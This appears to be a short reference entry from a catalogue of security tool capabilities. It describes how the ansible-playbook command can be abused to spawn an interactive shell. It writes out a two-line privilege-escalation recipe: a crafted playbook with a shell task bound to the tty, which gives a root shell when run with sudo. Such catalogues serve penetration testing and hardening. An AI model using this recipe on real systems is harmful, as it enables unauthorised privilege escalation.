Ansible playbook executor that can spawn a shell via crafted playbook with shell tasks.
ansible-playbook {0} 📎 0 ansible-playbook {0} Sandbox: execFile · Timeout: 60s
security.execution.command security.privilege-escalation.shell Inputs
system.file.path Path to ansible playbook
Outputs
process.output Shell or command output
process_spawn Produces
process.outputConsumes
system.file.path| Resource | Value |
|---|---|
| CPU | low |
| Memory | 32 MB |
| Network | low |
| Disk I/O | low |
Spawn interactive shell via crafted playbook
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >/path/to/temp-file
ansible-playbook /path/to/temp-file Executes Ansible playbooks. By crafting a playbook with a shell task, it can spawn an interactive shell when used with sudo.